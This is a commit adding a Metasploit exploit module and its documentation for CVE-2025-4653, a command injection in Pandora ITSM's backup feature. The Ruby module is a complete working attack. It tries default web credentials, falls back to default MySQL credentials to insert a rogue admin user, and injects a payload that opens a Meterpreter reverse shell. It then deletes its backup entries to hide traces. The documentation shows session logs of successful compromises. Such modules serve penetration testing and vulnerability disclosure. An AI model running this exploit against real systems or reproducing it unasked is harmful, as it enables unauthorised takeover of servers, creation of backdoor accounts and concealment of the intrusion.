Land #20399, adds module for Pandora ITSM authenticated RCE (CVE-2025-4653)
Pandora ITSM auth RCE [CVE-2025-4653]
This commit is contained in:
@@ -0,0 +1,131 @@
|
||||
## Vulnerable Application
|
||||
Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support
|
||||
and customer service teams, aligned with ITIL processes.
|
||||
This module exploits a command injection vulnerability in the `name` backup setting at the
|
||||
application setup page of Pandora ITSM. This can be triggered by generating a backup with a
|
||||
malicious payload injected at the `name` parameter.
|
||||
You need to have admin access at the Pandora ITSM Web application in order to execute this RCE.
|
||||
This access can be achieved by knowing the admin credentials to access the web application or
|
||||
leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access
|
||||
the Pandora FMS ITSM database, create a new admin user and gain administrative access to the
|
||||
Pandora ITSM Web application. This attack can be remotely executed over the WAN as long as the
|
||||
MySQL services are exposed to the outside world.
|
||||
This issue affects all ITSM Enterprise editions up to `5.0.105` and is patched at `5.0.106`.
|
||||
|
||||
The following releases were tested.
|
||||
|
||||
**Pandora ITSM Releases:**
|
||||
* Pandora ITSM Enterprise Edition 5.0.104 Build 240802 MR97 on Ubuntu 22.04
|
||||
* Pandora ITSM Enterprise Edition 5.0.105 Build 250129 MR98 on Ubuntu 22.04
|
||||
|
||||
## Installation steps to install Pandora ITSM Enterprise Edition on Ubuntu 22.04
|
||||
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
|
||||
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
|
||||
* Register for a free trial [here](https://pandorafms.com/en/itsm/free-trial/).
|
||||
* Install a plain Ubuntu 22.04 VM image.
|
||||
* Log in at the Ubuntu VM with root.
|
||||
* Run `apt update && apt upgrade` to get the latest updates.
|
||||
* Run the following command `curl -SsL https://pfms.me/deploy-pandora-itsm > deploy-pandora-itsm`.
|
||||
* Check the file `deploy-pandora-itsm` and find the `install_script` variable that refers to `itsm_deploy_enterprise_ubuntu_2204.sh`.
|
||||
* `install_script='https://packages.pandorafms.com/projects/deploy/itsm/iBxbqHhtHkOnzp1rINvG/itsm_deploy_enterprise_ubuntu_2204.sh'`
|
||||
* Use the `url` and download the file with `curl` and store it locally in the file `install.sh`.
|
||||
* `curl -LSs https://packages.pandorafms.com/projects/deploy/itsm/iBxbqHhtHkOnzp1rINvG/itsm_deploy_enterprise_ubuntu_2204.sh > install.sh`
|
||||
* Edit `install.sh` with your favorite editor and change the following line FROM:
|
||||
* INTEGRIA_PACKAGE_ENT="https://packages.pandorafms.com/c5553382c7268ea9d69dd2f889029162/latest/PandoraITSM_enterprise-latest.tar.gz"
|
||||
* TO
|
||||
* INTEGRIA_PACKAGE_ENT="https://packages.pandorafms.com/c5553382c7268ea9d69dd2f889029162/LTS/PandoraITSM_enterprise-lts.tar.gz"
|
||||
* Run `chmod +x install.sh` and execute the script `./install.sh`.
|
||||
* After successful installation of Pandora ITSM you can access the application using the `webui` via `http://your_ip/pandoraitsm`.
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/pandora_itsm_auth_rce_cve_2025_4653`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=Unix/Linux Command>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
This option is optional and is the username (default: admin) to authenticate with the Pandora ITSM application.
|
||||
|
||||
### PASSWORD
|
||||
This option is optional and is the password (default: integria) in plain text to authenticate with the Pandora ITSM application.
|
||||
|
||||
### DB_USER
|
||||
This option is required and is the username (default: pandoraitsm) to authenticate with the Pandora ITSM MySQL database.
|
||||
|
||||
### DB_PASSWORD
|
||||
This option is required and is the password (default: P4ndor4.itsm) in plain text to authenticate with the Pandora ITSM MySQL database.
|
||||
|
||||
### DB_PORT
|
||||
This option is required and is the MySQL database port (default: 3306) to connect to the database.
|
||||
|
||||
## Scenarios
|
||||
### Pandora ITSM 5.0.104 on Ubuntu 22.04 - Unix/Linux Command target
|
||||
Attack scenario: use the default admin credentials (admin:integria) of the Pandora ITSM application
|
||||
to gain the privileges for the RCE.
|
||||
```msf
|
||||
msf6 exploit(linux/http/pandora_itsm_auth_rce_cve_2025_4653) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Pandora ITSM Enterprise Edition 5.0.104 Build 240802 MR97
|
||||
[*] Trying to log in with admin credentials admin:integria at the Pandora ITSM Web application.
|
||||
[*] Succesfully authenticated at the Pandora ITSM Web application.
|
||||
[*] Saving admin credentials at the msf database.
|
||||
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[*] Sending stage (3090404 bytes) to 192.168.201.6
|
||||
[*] Meterpreter session 45 opened (192.168.201.10:4444 -> 192.168.201.6:37374) at 2025-07-19 10:21:00 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.201.6
|
||||
OS : Ubuntu 22.04 (Linux 5.15.0-144-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > pwd
|
||||
/var/www/html/pandoraitsm
|
||||
meterpreter >
|
||||
```
|
||||
### Pandora ITSM 5.0.104 on Ubuntu 22.04 - Unix/Linux Command target
|
||||
Attack scenario: use the default database credentials (pandoraitsm:P4ndor4.itsm) to create an admin user in the application
|
||||
to gain the privileges for the RCE.
|
||||
```msf
|
||||
msf6 exploit(linux/http/pandora_itsm_auth_rce_cve_2025_4653) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Pandora ITSM Enterprise Edition 5.0.104 Build 240802 MR97
|
||||
[*] Trying to log in with admin credentials admin:xxx at the Pandora ITSM Web application.
|
||||
[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.
|
||||
[*] Creating new admin user with credentials hhmxr:YGMWzFjE9R for access at the Pandora ITSM Web application.
|
||||
[*] Trying to log in with new admin credentials hhmxr:YGMWzFjE9R at the Pandora ITSM Web application.
|
||||
[*] Succesfully authenticated at the Pandora ITSM Web application.
|
||||
[*] Saving admin credentials at the msf database.
|
||||
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[*] Sending stage (3090404 bytes) to 192.168.201.6
|
||||
[*] Meterpreter session 46 opened (192.168.201.10:4444 -> 192.168.201.6:38870) at 2025-07-19 10:22:43 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.201.6
|
||||
OS : Ubuntu 22.04 (Linux 5.15.0-144-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > pwd
|
||||
/var/www/html/pandoraitsm
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
None.
|
||||
@@ -0,0 +1,324 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/proto/mysql/client'
|
||||
require 'digest/md5'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include BCrypt
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
# @!attribute [rw] mysql_client
|
||||
# @return [::Rex::Proto::MySQL::Client]
|
||||
attr_accessor :mysql_client
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Pandora ITSM authenticated command injection leading to RCE via the backup function',
|
||||
'Description' => %q{
|
||||
Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support
|
||||
and customer service teams, aligned with ITIL processes.
|
||||
This module exploits a command injection vulnerability in the `name` backup setting at the
|
||||
application setup page of Pandora ITSM. This can be triggered by generating a backup with a
|
||||
malicious payload injected at the `name` parameter.
|
||||
You need to have admin access at the Pandora ITSM Web application in order to execute this RCE.
|
||||
This access can be achieved by knowing the admin credentials to access the web application or
|
||||
leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access
|
||||
the Pandora FMS ITSM database, create a new admin user and gain administrative access to the
|
||||
Pandora ITSM Web application. This attack can be remotely executed over the WAN as long as the
|
||||
MySQL services are exposed to the outside world.
|
||||
This issue affects all ITSM Enterprise editions up to `5.0.105` and is patched at `5.0.106`.
|
||||
},
|
||||
'Author' => [
|
||||
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2025-4653'],
|
||||
['URL', 'https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/'],
|
||||
['URL', 'https://github.com/h00die-gr3y/h00die-gr3y/security/advisories/GHSA-m4f8-9c8x-8f3f'],
|
||||
['URL', 'https://attackerkb.com/topics/wgCb1QQm1t/cve-2025-4653']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Privileged' => false,
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix/Linux Command',
|
||||
{
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Payload' => {
|
||||
'Encoder' => 'cmd/base64',
|
||||
'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2025-06-10',
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true,
|
||||
'RPORT' => 443
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to the Pandora ITSM application', '/pandoraitsm']),
|
||||
OptString.new('DB_USER', [true, 'Pandora database admin user', 'pandoraitsm']),
|
||||
OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'P4ndor4.itsm']),
|
||||
OptString.new('DB_NAME', [true, 'Pandora database', 'pandoraitsm']),
|
||||
OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]),
|
||||
OptString.new('USERNAME', [false, 'Pandora web admin user', 'admin']),
|
||||
OptString.new('PASSWORD', [false, 'Pandora web admin password', 'integria'])
|
||||
])
|
||||
end
|
||||
|
||||
# MySQL login
|
||||
# @param [String] host
|
||||
# @param [String] user
|
||||
# @param [String] password
|
||||
# @param [String] db
|
||||
# @param [String] port
|
||||
# @return [TrueClass|FalseClass] true if login successful, else false
|
||||
def mysql_login(host, user, password, db, port)
|
||||
begin
|
||||
self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port)
|
||||
rescue Errno::ECONNREFUSED
|
||||
print_error('MySQL connection refused')
|
||||
return false
|
||||
rescue ::Rex::Proto::MySQL::Client::ClientError
|
||||
print_error('MySQL connection timedout')
|
||||
return false
|
||||
rescue Errno::ETIMEDOUT
|
||||
print_error('Operation timedout')
|
||||
return false
|
||||
rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged
|
||||
print_error('Unable to login from this host due to policy')
|
||||
return false
|
||||
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
|
||||
print_error('MySQL Access denied')
|
||||
return false
|
||||
rescue StandardError => e
|
||||
print_error("Unknown error: #{e.message}")
|
||||
return false
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
# MySQL query
|
||||
# @param [String] sql
|
||||
# @return [query|nil|FalseClass] if sql query successful (can be nil), else false
|
||||
def mysql_query(sql)
|
||||
begin
|
||||
res = mysql_client.query(sql)
|
||||
rescue ::Rex::Proto::MySQL::Client::Error => e
|
||||
print_error("MySQL Error: #{e.class} #{e}")
|
||||
return false
|
||||
rescue Rex::ConnectionTimeout => e
|
||||
print_error("Timeout: #{e.message}")
|
||||
return false
|
||||
rescue StandardError => e
|
||||
print_error("Unknown error: #{e.message}")
|
||||
return false
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
# login at the Pandora ITSM web application
|
||||
# @param [String] name
|
||||
# @param [String] pwd
|
||||
# @return [TrueClass|FalseClass] true if login successful, else false
|
||||
def pandoraitsm_login(name, pwd)
|
||||
res = send_request_cgi!({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'login' => 1,
|
||||
'nick' => name,
|
||||
'pass' => pwd,
|
||||
'Login' => 'LOG IN'
|
||||
}
|
||||
})
|
||||
return false unless res&.code == 200
|
||||
|
||||
res.body.include?('godmode')
|
||||
end
|
||||
|
||||
# CVE-2025-4653: Command Injection leading to RCE via the backup "name" parameter triggered by the backup function
|
||||
def execute_payload(cmd)
|
||||
@rce_payload = ";#{cmd};#"
|
||||
vprint_status("RCE payload: #{@rce_payload}")
|
||||
@clean_payload = true
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_get' => {
|
||||
'sec' => 'godmode',
|
||||
'sec2' => 'enterprise/godmode/setup/backup_manager'
|
||||
},
|
||||
'vars_post' => {
|
||||
'name' => @rce_payload.to_s,
|
||||
'mode' => 1,
|
||||
'mail' => nil,
|
||||
'create_backup' => 1,
|
||||
'create' => 'Do a backup now'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# clean-up the payload entries in the backup list by removing the backup name from the list
|
||||
# it also handles multiple entries (leftovers from previous attacks)
|
||||
def clean_rce_payload(payload)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_get' => {
|
||||
'sec' => 'godmode',
|
||||
'sec2' => 'enterprise/godmode/setup/integria_backup'
|
||||
}
|
||||
})
|
||||
|
||||
unless res&.code == 200 && res.body.include?(payload.slice(0..4)) # just take the first 5 chars (;echo) as match
|
||||
vprint_status('No payload entries found at the backup list.')
|
||||
return
|
||||
end
|
||||
|
||||
html = res.get_html_document
|
||||
target_rows = html.css('table.dataTable tbody tr').select do |row|
|
||||
name_backup = row.at_css('td')
|
||||
name_backup && name_backup.text.strip.include?(payload.slice(0..4))
|
||||
end
|
||||
|
||||
# Get the backup entry based on the href from <a> tags with an onclick attribute
|
||||
if target_rows.any?
|
||||
backup_entry = target_rows.flat_map do |row|
|
||||
row.css('a[onclick]').map { |a| a['href'] }
|
||||
end
|
||||
else
|
||||
vprint_status('No payload entries found at the backup list.')
|
||||
return
|
||||
end
|
||||
vprint_status(backup_entry.to_s)
|
||||
success = true
|
||||
backup_entry.each do |entry|
|
||||
id_bk_param = entry.match(/id_bk=\d*/)
|
||||
next unless id_bk_param
|
||||
|
||||
id_bk = id_bk_param[0].split('=')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_get' => {
|
||||
'sec' => 'godmode',
|
||||
'sec2' => 'enterprise/godmode/setup/integria_backup',
|
||||
'offset' => 0,
|
||||
'remove' => 1,
|
||||
id_bk[0].to_s => id_bk[1].to_s
|
||||
}
|
||||
})
|
||||
success = false unless res&.code == 200 && !res.body.include?(id_bk_param.to_s)
|
||||
end
|
||||
if success
|
||||
print_good('Payload entries successfully removed from backup list.')
|
||||
else
|
||||
print_warning('Payload entries might not be removed from backup list. Check and try to clean it manually.')
|
||||
end
|
||||
end
|
||||
|
||||
# try to remove the payload from the backup list to cover our tracks
|
||||
def cleanup
|
||||
super
|
||||
# Disconnect from MySQL server
|
||||
mysql_client.close if mysql_client
|
||||
# check if payload should be cleaned
|
||||
clean_rce_payload(@rce_payload) if @clean_payload
|
||||
end
|
||||
|
||||
def check
|
||||
# use API v1.0 to check version
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'include', 'api.php'),
|
||||
'vars_get' => {
|
||||
'info' => 'version'
|
||||
}
|
||||
})
|
||||
return CheckCode::Unknown('Received unknown response.') unless res&.code == 200
|
||||
return CheckCode::Safe('Target is not a Pandora ITSM application.') unless res.body.include?('Pandora ITSM')
|
||||
|
||||
version = res.body.match(/\d{1,3}\.\d{1,3}\.\d{1,3}/)
|
||||
unless version.nil?
|
||||
version = Rex::Version.new(version)
|
||||
if version < Rex::Version.new('5.0.106')
|
||||
return CheckCode::Appears(res.body.strip.to_s)
|
||||
else
|
||||
return CheckCode::Safe(res.body.strip.to_s)
|
||||
end
|
||||
end
|
||||
CheckCode::Detected('Could not determine the Pandora ITSM version.')
|
||||
end
|
||||
|
||||
def exploit
|
||||
# check if we can login at the Pandora Web application with the default admin credentials
|
||||
username = datastore['USERNAME']
|
||||
password = datastore['PASSWORD']
|
||||
print_status("Trying to log in with admin credentials #{username}:#{password} at the Pandora ITSM Web application.")
|
||||
unless pandoraitsm_login(username, password)
|
||||
# connect to the PostgreSQL DB with default credentials
|
||||
print_status('Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.')
|
||||
mysql_login_res = mysql_login(datastore['RHOSTS'], datastore['DB_USER'], datastore['DB_PASSWORD'], datastore['DB_NAME'], datastore['DB_PORT'])
|
||||
fail_with(Failure::Unreachable, "Unable to connect to the MySQL server on port #{datastore['DB_PORT']}.") unless mysql_login_res
|
||||
|
||||
# add a new admin user
|
||||
username = Rex::Text.rand_text_alphanumeric(5..8).downcase
|
||||
password = Rex::Text.rand_password
|
||||
|
||||
# check the password hash algorithm by reading the password hash of the admin user
|
||||
# new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash
|
||||
mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_usuario = 'admin';")
|
||||
fail_with(Failure::BadConfig, 'Cannot find admin credentials to determine password hash algorithm.') if mysql_query_res == false || mysql_query_res.size != 1
|
||||
hash = mysql_query_res.fetch_hash
|
||||
if hash['password'].match(/^\$2.\$/)
|
||||
password_hash = Password.create(password)
|
||||
else
|
||||
password_hash = Digest::MD5.hexdigest(password)
|
||||
end
|
||||
print_status("Creating new admin user with credentials #{username}:#{password} for access at the Pandora ITSM Web application.")
|
||||
mysql_query_res = mysql_query("INSERT INTO tusuario (id_usuario, password, nivel) VALUES (\'#{username}\', \'#{password_hash}\', '1');")
|
||||
fail_with(Failure::BadConfig, "Adding new admin credentials #{username}:#{password} to the database failed.") if mysql_query_res == false
|
||||
|
||||
# log in with the new admin user credentials at the Pandora ITSM Web application
|
||||
print_status("Trying to log in with new admin credentials #{username}:#{password} at the Pandora ITSM Web application.")
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate at the Pandora ITSM Web application.') unless pandoraitsm_login(username, password)
|
||||
end
|
||||
print_status('Successfully authenticated at the Pandora ITSM Web application.')
|
||||
|
||||
# storing credentials at the msf database
|
||||
print_status('Saving admin credentials to the msf database.')
|
||||
store_valid_credential(user: username, private: password)
|
||||
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
execute_payload(payload.encoded)
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user